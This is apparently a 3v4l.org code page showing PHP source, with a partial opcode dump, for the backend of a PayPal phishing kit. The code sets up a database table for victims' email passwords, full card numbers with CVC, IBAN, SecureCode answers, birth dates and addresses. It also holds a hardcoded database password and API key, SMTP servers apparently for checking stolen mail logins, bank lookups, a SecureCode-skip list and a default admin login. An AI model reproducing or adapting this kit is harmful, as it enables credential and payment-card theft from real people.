3v4l.org

run code in 300+ PHP versions simultaneously
<?php session_start(); // Configuration $config = [ 'url' => 'http://' . $_SERVER['HTTP_HOST'] . '', 'mysql' => [ 'hostname' => 'localhost', 'username' => 'root', 'password' => 'okmijnAwD1337', 'database' => 'paypal' ], 'bincodes' => [ 'enabled' => true, 'api_key' => '2d974e94811161f1dda14bbf63aa9790' ], // Alle SMTPs welche nicht folgenden Format haben: smtp.example.com:25 'smtps' => [ 'web.de' => [ 'host' => 'smtp.web.de', 'port' => 587 ], 'aol.com' => [ 'host' => 'smtp.de.aol.com', 'port' => 587 ], 'aol.de' => [ 'host' => 'smtp.aim.com', 'port' => 587 ], 'aim.com' => [ 'host' => 'smtp.aim.com', 'port' => 587 ], 'arcor.de' => [ 'host' => 'mail.arcor.de', 'port' => 25 ], 'bluewin.ch' => [ 'host' => 'smtpauths.bluewin.ch', 'port' => 25 ], 'gmail.com' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'gmail.de' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'googlemail.com' => [ 'host' => 'smtp.gmail.com', 'port' => 587 ], 'gmx.de' => [ 'host' => 'mail.gmx.net', 'port' => 587 ], 'gmx.net' => [ 'host' => 'mail.gmx.net', 'port' => 587 ], 'outlook.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'live.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'hotmail.de' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'live.com' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'outlook.com' => [ 'host' => 'smtp-mail.outlook.com', 'port' => 587 ], 'yahoo.de' => [ 'host' => 'smtp.mail.yahoo.com', 'port' => 25 ], 'yahoo.com' => [ 'host' => 'smtp.mail.yahoo.com', 'port' => 25 ], 't-online.de' => [ 'host' => 'securesmtp.t-online.de', 'port' => 25 ], 'unitybox.de' => [ 'host' => 'submit.unitybox.de', 'port' => 587 ], 'kabelbw.de' => [ 'host' => 'submit.kabelbw.de', 'port' => 587 ], 'one.com' => [ 'host' => 'send.one.com', 'port' => 587 ], 'freenet.de' => [ 'host' => 'mx.freenet.de', 'port' => 587 ] ], // Bins bei dem die SecureCode Abfrage ├╝bersprungen werden 'skipBins' => [ /* '457096', '548622', '548621' */ ], // Banken (Alles gro├č schreiben, da es bei Debian sonst nicht erkannt wird) 'banks' => [ 'santander' => [ 'SANTANDER CONSUMER BANK AG', 'SANTANDER DIREKT BANK AG', 'SANTANDER' ], 'vw' => [ 'VOLKSWAGEN BANK GMBH', 'VOLKSWAGEN' ], 'advanzia' => [ 'ADVANZIA BANK, S.A.', 'ADVANZIA' ], 'barclay' => [ 'BARCLAYS BANK PLC', 'BARCLAYCARD GERMANY', 'BARCLAY' ], 'airp' => [ 'LUFTHANSA AIRPLUS SERVICEKARTEN GMBH' ], 'dkb' => [ 'DEUTSCHE KREDITBANK AG (DKB), LUFTHANSA, MILES AND MORE', 'DEUTSCHE KREDITBANK' ], 'lbb' => [ 'LANDESBANK BERLIN AG' ], 'dzb' => [ 'DZ BANK AG', 'DZ BANK AG DEUTSCHE ZENTRAL- GENOSSENSCHAFTSBANK' ], 'wgz' => [ 'WGZ BANK AG WESTDEUTSCHE GENOSSENSCHAFTS-ZENTRALBANK', 'WGZ' ], 'volksbank' => [ 'VOLKSBANK' ], 'spardabank' => [ 'SPARDABANK', 'SPARDA' ], 'postbank' => [ 'DEUTSCHE POSTBANK AG', 'POSTBANK BERLIN', 'POSTBANK' ], 'sparkasse' => [ 'DEUTSCHER SPARKASSEN - UND GIROVERBAND', 'SPARKASSE', 'SPARKASSEN', 'SPARKASSE SCHAUMBURG', 'SPARKASSE MAINZ', 'STADTSPARKASSE' ], 'random' => [ 'TARGOBANK AG AND CO. KGAA', 'CITIBANK AG', 'ING-DIBA AG', 'COMMERZBANK AG', 'MERCEDES-BENZ BANK AG', 'LANDESBANK BADEN-WUERTTEMBERG', 'COMDIRECT BANK AG', 'DEUTSCHE BANK AG', 'DEUTSCHE BANK PRIVAT-UND GESCHAEFTSKUNDEN AG', 'BAYERISCHE LANDESBANK GIROZENTRALE', 'BAYERISCHE LANDESBANK', 'SUEDDEUTSCHE BANK GMBH' ] ] ]; include('geoblocking.php'); if(!defined('CONTINUE_PDO')) { // MySQL Connection $pdo = new PDO( 'mysql:host=' . $config['mysql']['hostname'] . ';', $config['mysql']['username'], $config['mysql']['password'] ); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->query('CREATE DATABASE IF NOT EXISTS ' . $config['mysql']['database']); $pdo->query('use ' . $config['mysql']['database']); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::MYSQL_ATTR_INIT_COMMAND, "SET NAMES 'utf8' COLLATE 'utf8_general_ci'"); $pdo->exec('SET NAMES \'utf8\''); mb_internal_encoding('UTF-8'); $pdo->exec(' CREATE TABLE IF NOT EXISTS `admins` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) NOT NULL, `password` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; INSERT IGNORE INTO `admins` VALUES (\'1\', \'Admin\', \'123456\'); CREATE TABLE IF NOT EXISTS `logs` ( `id` int(11) NOT NULL AUTO_INCREMENT, `ip` varchar(255) DEFAULT NULL, `user_agent` text, `email` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, `method` enum(\'creditcard\',\'bank\',\'none\') DEFAULT \'none\', `firstname` varchar(255) DEFAULT NULL, `surname` varchar(255) DEFAULT NULL, `dob_day` int(11) DEFAULT \'0\', `dob_month` int(11) DEFAULT \'0\', `dob_year` int(11) DEFAULT \'0\', `cc_number` varchar(255) DEFAULT NULL, `cc_expire_month` int(2) DEFAULT NULL, `cc_expire_year` int(4) DEFAULT NULL, `cc_cvc` int(4) DEFAULT NULL, `cc_bank` varchar(255) DEFAULT NULL, `cc_type` varchar(255) DEFAULT NULL, `cc_level` varchar(255) DEFAULT NULL, `cc_country` varchar(255) DEFAULT NULL, `cc_countrycode` varchar(255) DEFAULT NULL, `cc_card` varchar(255) DEFAULT NULL, `cc_limit` int(11) DEFAULT \'0\', `bank_iban` varchar(255) DEFAULT NULL, `bank_bic` varchar(255) DEFAULT NULL, `bank_name` varchar(255) DEFAULT NULL, `sc_1` varchar(255) DEFAULT NULL, `sc_2` varchar(255) DEFAULT NULL, `street` varchar(255) DEFAULT NULL, `city` varchar(255) DEFAULT NULL, `plz` int(5) DEFAULT NULL, `timestamp` varchar(255) DEFAULT \'123456789\', `mobilenr` varchar(255) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1; '); } // Classes class RandomHash { public static function init() { if(!isset($_SESSION['randomLetter'])) { $_SESSION['randomLetter'] = substr(str_shuffle(str_repeat($chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil(1 / strlen($chars)) )), 1, 1); } } public static function generate($string = '') { return $_SESSION['randomLetter'] . sha1($string . sha1(session_id())); } public static function generateUselessKey() { return md5($_SESSION['randomLetter']); } public static function stringSplitUnicode($string, $l = 0) { if ($l > 0) { $result = []; $length = mb_strlen($string, 'UTF-8'); for ($i = 0; $i < $length; $i += $l) { $result[] = mb_substr($string, $i, $l, 'UTF-8'); } return $result; } return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY); } public static function generateUseless($string = '') { $result = ''; foreach(self::stringSplitUnicode($string) as $letter) { $result .= '<span class="' . self::generate('rnd-span') . ' ' . self::generate(self::generateUselessKey()) . '">' . $letter . '</span>'; } return $result; } } RandomHash::init(); // Functions function generateToken() { if(version_compare(phpversion(), '7', '>=')) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } else if(function_exists('mcrypt_create_iv')) { $_SESSION['csrf_token'] = bin2hex(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)); } else { $_SESSION['csrf_token'] = bin2hex(openssl_random_pseudo_bytes(32)); } return $_SESSION['csrf_token']; } function getToken() { if(!isset($_SESSION['csrf_token']) || empty($_SESSION['csrf_token'])) { generateToken(); } return $_SESSION['csrf_token']; } function getOB($bankName) { global $config; $bankName = strtoupper($bankName); foreach($config['banks'] as $obKey => $obNames) { foreach($obNames as $obName) { if(strtoupper($obName) == $bankName || strpos(strtoupper($obName), $bankName) !== false || (count(explode(' ', $bankName)) > 0 && strpos(strtoupper($obName), explode(' ', $bankName)[0]) !== false)) { return strtolower($obKey); } } } return null; } function isLoggedIn() { global $pdo; if(isset($_SESSION['acp_username'], $_SESSION['acp_password'])) { $stmt = $pdo->prepare('SELECT NULL FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1'); $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]); return $stmt->rowCount() > 0; } return false; } function getLogsCount() { global $pdo; $qry = $pdo->query('SELECT NULL FROM `logs`'); return $qry->rowCount(); } function getUserInfo($row, $filter = true) { global $pdo; if(isLoggedIn()) { $stmt = $pdo->prepare('SELECT `' . $row . '` FROM `admins` WHERE `username` = ? AND `password` = ? LIMIT 1'); $stmt->execute([$_SESSION['acp_username'], $_SESSION['acp_password']]); if($stmt->rowCount() > 0) { $obj = $stmt->fetch(PDO::FETCH_OBJ); return $filter ? htmlspecialchars($obj->{$row}) : $obj->{$row}; } } return ''; } function getIp() { $ip = $_SERVER['REMOTE_ADDR']; if(!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } return $ip; } ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 17, Position 2 = 67
Branch analysis from position: 17
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 67
filename:       /in/Q5nB8
function name:  (null)
number of ops:  70
compiled vars:  !0 = $config, !1 = $pdo
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   INIT_FCALL                                               'session_start'
         1        DO_ICALL                                                 
   6     2        FETCH_R                      global              ~3      '_SERVER'
         3        FETCH_DIM_R                                      ~4      ~3, 'HTTP_HOST'
         4        CONCAT                                           ~5      'http%3A%2F%2F', ~4
         5        CONCAT                                           ~6      ~5, ''
         6        INIT_ARRAY                                       ~7      ~6, 'url'
         7        ADD_ARRAY_ELEMENT                                ~7      <array>, 'mysql'
         8        ADD_ARRAY_ELEMENT                                ~7      <array>, 'bincodes'
         9        ADD_ARRAY_ELEMENT                                ~7      <array>, 'smtps'
        10        ADD_ARRAY_ELEMENT                                ~7      <array>, 'skipBins'
        11        ADD_ARRAY_ELEMENT                                ~7      <array>, 'banks'
        12        QM_ASSIGN                                                !0
 195    13        INCLUDE_OR_EVAL                                          'geoblocking.php', INCLUDE
 197    14        DEFINED                                          ~10     'CONTINUE_PDO'
        15        BOOL_XOR                                         ~11     ~10
        16      > JMPZ                                                     ~11, ->67
 199    17    >   NEW                                              $12     :120
 200    18        FETCH_DIM_R                                      ~13     !0, 'mysql'
        19        FETCH_DIM_R                                      ~14     ~13, 'hostname'
        20        CONCAT                                           ~15     'mysql%3Ahost%3D', ~14
        21        CONCAT                                           ~16     ~15, '%3B'
        22        SEND_VAL_EX                                              ~16
        23        CHECK_FUNC_ARG                                           
 201    24        FETCH_DIM_FUNC_ARG                               $17     !0, 'mysql'
        25        FETCH_DIM_FUNC_ARG                               $18     $17, 'username'
        26        SEND_FUNC_ARG                                            $18
        27        CHECK_FUNC_ARG                                           
 202    28        FETCH_DIM_FUNC_ARG                               $19     !0, 'mysql'
        29        FETCH_DIM_FUNC_ARG                               $20     $19, 'password'
        30        SEND_FUNC_ARG                                            $20
        31        DO_FCALL                                      0          
        32        QM_ASSIGN                                                !1
 205    33        INIT_METHOD_CALL                                         !1, 'setAttribute'
        34        SEND_VAL_EX                                              3
        35        SEND_VAL_EX                                              2
        36        DO_FCALL                                      0          
 207    37        INIT_METHOD_CALL                                         !1, 'query'
        38        FETCH_DIM_R                                      ~24     !0, 'mysql'
        39        FETCH_DIM_R                                      ~25     ~24, 'database'
        40        CONCAT                                           ~26     'CREATE+DATABASE+IF+NOT+EXISTS+', ~25
        41        SEND_VAL_EX                                              ~26
        42        DO_FCALL                                      0          
 208    43        INIT_METHOD_CALL                                         !1, 'query'
        44        FETCH_DIM_R                                      ~28     !0, 'mysql'
        45        FETCH_DIM_R                                      ~29     ~28, 'database'
        46        CONCAT                                           ~30     'use+', ~29
        47        SEND_VAL_EX                                              ~30
        48        DO_FCALL                                      0          
 210    49        INIT_METHOD_CALL                                         !1, 'setAttribute'
        50        SEND_VAL_EX                                              20
        51        SEND_VAL_EX                                              <false>
        52        DO_FCALL                                      0          
 211    53        INIT_METHOD_CALL                                         !1, 'setAttribute'
        54        FETCH_CLASS_CONSTANT                             ~33     'PDO', 'MYSQL_ATTR_INIT_COMMAND'
        55        SEND_VAL_EX                                              ~33
        56        SEND_VAL_EX                                              'SET+NAMES+%27utf8%27+COLLATE+%27utf8_general_ci%27'
        57        DO_FCALL                                      0          
 212    58        INIT_METHOD_CALL                                         !1, 'exec'
        59        SEND_VAL_EX                                              'SET+NAMES+%27utf8%27'
        60        DO_FCALL                                      0          
 213    61        INIT_FCALL                                               'mb_internal_encoding'
        62        SEND_VAL                                                 'UTF-8'
        63        DO_ICALL                                                 
 215    64        INIT_METHOD_CALL                                         !1, 'exec'
        65        SEND_VAL_EX                                              '%0A%09%09%09CREATE+TABLE+IF+NOT+EXISTS+%60admins%60+%28%0A%09%09%09++%60id%60+int%2811%29+NOT+NULL+AUTO_INCREMENT%2C%0A%09%09%09++%60username%60+varchar%28255%29+NOT+NULL%2C%0A%09%09%09++%60password%60+varchar%28255%29+NOT+NULL%2C%0A%09%09%09++PRIMARY+KEY+%28%60id%60%29%0A%09%09%09%29+ENGINE%3DInnoDB+AUTO_INCREMENT%3D2+DEFAULT+CHARSET%3Dlatin1%3B%0A%0A%09%09%09INSERT+IGNORE+INTO+%60admins%60+VALUES+%28%271%27%2C+%27Admin%27%2C+%27123456%27%29%3B%0A%0A%09%09%09CREATE+TABLE+IF+NOT+EXISTS+%60logs%60+%28%0A%09%09%09++%60id%60+int%2811%29+NOT+NULL+AUTO_INCREMENT%2C%0A%09%09%09++%60ip%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60user_agent%60+text%2C%0A%09%09%09++%60email%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60password%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60method%60+enum%28%27creditcard%27%2C%27bank%27%2C%27none%27%29+DEFAULT+%27none%27%2C%0A%09%09%09++%60firstname%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60surname%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60dob_day%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60dob_month%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60dob_year%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60cc_number%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_expire_month%60+int%282%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_expire_year%60+int%284%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_cvc%60+int%284%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_bank%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_type%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_level%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_country%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_countrycode%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_card%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60cc_limit%60+int%2811%29+DEFAULT+%270%27%2C%0A%09%09%09++%60bank_iban%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60bank_bic%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60bank_name%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60sc_1%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60sc_2%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60street%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60city%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++%60plz%60+int%285%29+DEFAULT+NULL%2C%0A%09%09%09++%60timestamp%60+varchar%28255%29+DEFAULT+%27123456789%27%2C%0A%09%09%09++%60mobilenr%60+varchar%28255%29+DEFAULT+NULL%2C%0A%09%09%09++PRIMARY+KEY+%28%60id%60%29%0A%09%09%09%29+ENGINE%3DInnoDB+AUTO_INCREMENT%3D1+DEFAULT+CHARSET%3Dlatin1%3B%0A%09%09'
        66        DO_FCALL                                      0          
 305    67    >   INIT_STATIC_METHOD_CALL                                  'RandomHash', 'init'
        68        DO_FCALL                                      0          
 393    69      > RETURN                                                   1

Function generatetoken:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 18
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 43
Branch analysis from position: 43
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 18
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 34
Branch analysis from position: 22
1 jumps found. (Code = 42) Position 1 = 43
Branch analysis from position: 43
Branch analysis from position: 34
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Q5nB8
function name:  generateToken
number of ops:  47
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 309     0  E >   INIT_FCALL                                               'version_compare'
         1        INIT_FCALL                                               'phpversion'
         2        DO_ICALL                                         $0      
         3        SEND_VAR                                                 $0
         4        SEND_VAL                                                 '7'
         5        SEND_VAL                                                 '%3E%3D'
         6        DO_ICALL                                         $1      
         7      > JMPZ                                                     $1, ->18
 310     8    >   INIT_FCALL                                               'bin2hex'
         9        INIT_FCALL                                               'random_bytes'
        10        SEND_VAL                                                 32
        11        DO_ICALL                                         $4      
        12        SEND_VAR                                                 $4
        13        DO_ICALL                                         $5      
        14        FETCH_W                      global              $2      '_SESSION'
        15        ASSIGN_ADD                                    0          $2, 'csrf_token'
        16        OP_DATA                                                  $5
        17      > JMP                                                      ->43
 311    18    >   INIT_FCALL                                               'function_exists'
        19        SEND_VAL                                                 'mcrypt_create_iv'
        20        DO_ICALL                                         $6      
        21      > JMPZ                                                     $6, ->34
 312    22    >   INIT_FCALL                                               'bin2hex'
        23        INIT_FCALL_BY_NAME                                       'mcrypt_create_iv'
        24        SEND_VAL_EX                                              32
        25        FETCH_CONSTANT                                   ~9      'MCRYPT_DEV_URANDOM'
        26        SEND_VAL_EX                                              ~9
        27        DO_FCALL                                      0  $10     
        28        SEND_VAR                                                 $10
        29        DO_ICALL                                         $11     
        30        FETCH_W                      global              $7      '_SESSION'
        31        ASSIGN_ADD                                    0          $7, 'csrf_token'
        32        OP_DATA                                                  $11
        33      > JMP                                                      ->43
 314    34    >   INIT_FCALL                                               'bin2hex'
        35        INIT_FCALL_BY_NAME                                       'openssl_random_pseudo_bytes'
        36        SEND_VAL_EX                                              32
        37        DO_FCALL                                      0  $14     
        38        SEND_VAR                                                 $14
        39        DO_ICALL                                         $15     
        40        FETCH_W                      global              $12     '_SESSION'
        41        ASSIGN_ADD                                    0          $12, 'csrf_token'
        42        OP_DATA                                                  $15
 317    43    >   FETCH_R                      global              ~16     '_SESSION'
        44        FETCH_DIM_R                                      ~17     ~16, 'csrf_token'
        45      > RETURN                                                   ~17
 318    46*     > RETURN                                                   null

End of function generatetoken

Function gettoken:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 47) Position 1 = 4, Position 2 = 7
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 10
Branch analysis from position: 8
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
Branch analysis from position: 7
filename:       /in/Q5nB8
function name:  getToken
number of ops:  14
compiled vars:  none
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 321     0  E >   FETCH_IS                                         ~0      '_SESSION'
         1        ISSET_ISEMPTY_DIM_OBJ                         0  ~1      ~0, 'csrf_token'
         2        BOOL_XOR                                         ~2      ~1
         3      > JMPNZ_EX                                         ~2      ~2, ->7
         4    >   FETCH_IS                                         ~3      '_SESSION'
         5        ISSET_ISEMPTY_DIM_OBJ                         1  ~4      ~3, 'csrf_token'
         6        BOOL                                             ~2      ~4
         7    > > JMPZ                                                     ~2, ->10
 322     8    >   INIT_FCALL                                               'generatetoken'
         9        DO_FCALL                                      0          
 325    10    >   FETCH_R                      global              ~6      '_SESSION'
        11        FETCH_DIM_R                                      ~7      ~6, 'csrf_token'
        12      > RETURN                                                   ~7
 326    13*     > RETURN                                                   null

End of function gettoken

Function getob:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 8, Position 2 = 59
Branch analysis from position: 8
2 jumps found. (Code = 78) Position 1 = 9, Position 2 = 59
Branch analysis from position: 9
2 jumps found. (Code = 77) Position 1 = 11, Position 2 = 57
Branch analysis from position: 11
2 jumps found. (Code = 78) Position 1 = 12, Position 2 = 57
Branch analysis from position: 12
2 jumps found. (Code = 47) Position 1 = 17, Position 2 = 26
Branch analysis from position: 17
2 jumps found. (Code = 47) Position 1 = 27, Position 2 = 49
Branch analysis from position: 27
2 jumps found. (Code = 46) Position 1 = 34, Position 2 = 48
Branch analysis from position: 34
2 jumps found. (Code = 43) Position 1 = 50, Position 2 = 56
Branch analysis from position: 50
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 56
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
Branch analysis from position: 48
Branch analysis from position: 49
Branch analysis from position: 26
Branch analysis from position: 57
1 jumps found. (Code = 42) Position 1 = 8
Branch analysis from position: 8
Branch analysis from position: 57
Branch analysis from position: 59
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 59
filename:       /in/Q5nB8
function name:  getOB
number of ops:  62
compiled vars:  !0 = $bankName, !1 = $config, !2 = $obNames, !3 = $obKey, !4 = $obName
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 328     0  E >   RECV                                             !0      
 329     1        BIND_GLOBAL                                              !1, 'config'
 331     2        INIT_FCALL                                               'strtoupper'
         3        SEND_VAR                                                 !0
         4        DO_ICALL                                         $5      
         5        QM_ASSIGN                                                !0
 332     6        FETCH_DIM_R                                      ~7      !1, 'banks'
         7      > FE_RESET_R                                       $8      ~7, ->59
         8    > > FE_FETCH_R                                       ~9      $8, !2, ->59
         9    >   QM_ASSIGN                                                !3
 333    10      > FE_RESET_R                                       $11     !2, ->57
        11    > > FE_FETCH_R                                               $11, !4, ->57
 334    12    >   INIT_FCALL                                               'strtoupper'
        13        SEND_VAR                                                 !4
        14        DO_ICALL                                         $12     
        15        IS_NOT_EQUAL                                     ~13     !0, $12
        16      > JMPNZ_EX                                         ~13     ~13, ->26
        17    >   INIT_FCALL                                               'strpos'
        18        INIT_FCALL                                               'strtoupper'
        19        SEND_VAR                                                 !4
        20        DO_ICALL                                         $14     
        21        SEND_VAR                                                 $14
        22        SEND_VAR                                                 !0
        23        DO_ICALL                                         $15     
        24        IS_EQUAL                                         ~16     $15, <false>
        25        BOOL                                             ~13     ~16
        26    > > JMPNZ_EX                                         ~13     ~13, ->49
        27    >   INIT_FCALL                                               'explode'
        28        SEND_VAL                                                 '+'
        29        SEND_VAR                                                 !0
        30        DO_ICALL                                         $17     
        31        COUNT                                            ~18     $17
        32        IS_SMALLER_OR_EQUAL                              ~19     0, ~18
        33      > JMPZ_EX                                          ~19     ~19, ->48
        34    >   INIT_FCALL                                               'strpos'
        35        INIT_FCALL                                               'strtoupper'
        36        SEND_VAR                                                 !4
        37        DO_ICALL                                         $20     
        38        SEND_VAR                                                 $20
        39        INIT_FCALL                                               'explode'
        40        SEND_VAL                                                 '+'
        41        SEND_VAR                                                 !0
        42        DO_ICALL                                         $21     
        43        FETCH_DIM_R                                      ~22     $21, 0
        44        SEND_VAL                                                 ~22
        45        DO_ICALL                                         $23     
        46        IS_EQUAL                                         ~24     $23, <false>
        47        BOOL                                             ~19     ~24
        48    >   BOOL                                             ~13     ~19
        49    > > JMPZ                                                     ~13, ->56
 335    50    >   INIT_FCALL                                               'strtolower'
        51        SEND_VAR                                                 !3
        52        DO_ICALL                                         $25     
        53        FE_FREE                                                  $11
        54        FE_FREE                                                  $8
        55      > RETURN                                                   $25
 333    56    > > JMP                                                      ->11
        57    >   FE_FREE                                                  $11
 332    58      > JMP                                                      ->8
        59    >   FE_FREE                                                  $8
 340    60      > RETURN                                                   null
 341    61*     > RETURN                                                   null

End of function getob

Function isloggedin:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 4, Position 2 = 7
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 25
Branch analysis from position: 8
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
filename:       /in/Q5nB8
function name:  isLoggedIn
number of ops:  27
compiled vars:  !0 = $pdo, !1 = $stmt
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 344     0  E >   BIND_GLOBAL                                              !0, 'pdo'
 346     1        FETCH_IS                                         ~2      '_SESSION'
         2        ISSET_ISEMPTY_DIM_OBJ                         0  ~3      ~2, 'acp_username'
         3      > JMPZ_EX                                          ~3      ~3, ->7
         4    >   FETCH_IS                                         ~4      '_SESSION'
         5        ISSET_ISEMPTY_DIM_OBJ                         0  ~5      ~4, 'acp_password'
         6        BOOL                                             ~3      ~5
         7    > > JMPZ                                                     ~3, ->25
 347     8    >   INIT_METHOD_CALL                                         !0, 'prepare'
         9        SEND_VAL_EX                                              'SELECT+NULL+FROM+%60admins%60+WHERE+%60username%60+%3D+%3F+AND+%60password%60+%3D+%3F+LIMIT+1'
        10        DO_FCALL                                      0  $6      
        11        QM_ASSIGN                                                !1
 348    12        INIT_METHOD_CALL                                         !1, 'execute'
        13        FETCH_R                      global              ~8      '_SESSION'
        14        FETCH_DIM_R                                      ~9      ~8, 'acp_username'
        15        INIT_ARRAY                                       ~10     ~9
        16        FETCH_R                      global              ~11     '_SESSION'
        17        FETCH_DIM_R                                      ~12     ~11, 'acp_password'
        18        ADD_ARRAY_ELEMENT                                ~10     ~12
        19        SEND_VAL_EX                                              ~10
        20        DO_FCALL                                      0          
 350    21        INIT_METHOD_CALL                                         !1, 'rowCount'
        22        DO_FCALL                                      0  $14     
        23        IS_SMALLER_OR_EQUAL                              ~15     0, $14
        24      > RETURN                                                   ~15
 353    25    > > RETURN                                                   <false>
 354    26*     > RETURN                                                   null

End of function isloggedin

Function getlogscount:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Q5nB8
function name:  getLogsCount
number of ops:  9
compiled vars:  !0 = $pdo, !1 = $qry
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 357     0  E >   BIND_GLOBAL                                              !0, 'pdo'
 359     1        INIT_METHOD_CALL                                         !0, 'query'
         2        SEND_VAL_EX                                              'SELECT+NULL+FROM+%60logs%60'
         3        DO_FCALL                                      0  $2      
         4        QM_ASSIGN                                                !1
 361     5        INIT_METHOD_CALL                                         !1, 'rowCount'
         6        DO_FCALL                                      0  $4      
         7      > RETURN                                                   $4
 362     8*     > RETURN                                                   null

End of function getlogscount

Function getuserinfo:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 39
Branch analysis from position: 6
2 jumps found. (Code = 43) Position 1 = 25, Position 2 = 39
Branch analysis from position: 25
2 jumps found. (Code = 43) Position 1 = 30, Position 2 = 36
Branch analysis from position: 30
1 jumps found. (Code = 42) Position 1 = 38
Branch analysis from position: 38
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 36
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 39
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 39
filename:       /in/Q5nB8
function name:  getUserInfo
number of ops:  41
compiled vars:  !0 = $row, !1 = $filter, !2 = $pdo, !3 = $stmt, !4 = $obj
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
 364     0  E >   RECV                                             !0      
         1        RECV_INIT                                        !1      <true>
 365     2        BIND_GLOBAL                                              !2, 'pdo'
 367     3        INIT_FCALL                                               'isloggedin'
         4        DO_FCALL                                      0  $5      
         5      > JMPZ                                                     $5, ->39
 368     6    >   INIT_METHOD_CALL                                         !2, 'prepare'
         7        CONCAT                                           ~6      'SELECT+%60', !0
         8        CONCAT                                           ~7      ~6, '%60+FROM+%60admins%60+WHERE+%60username%60+%3D+%3F+AND+%60password%60+%3D+%3F+LIMIT+1'
         9        SEND_VAL_EX                                              ~7
        10        DO_FCALL                                      0  $8      
        11        QM_ASSIGN                                                !3
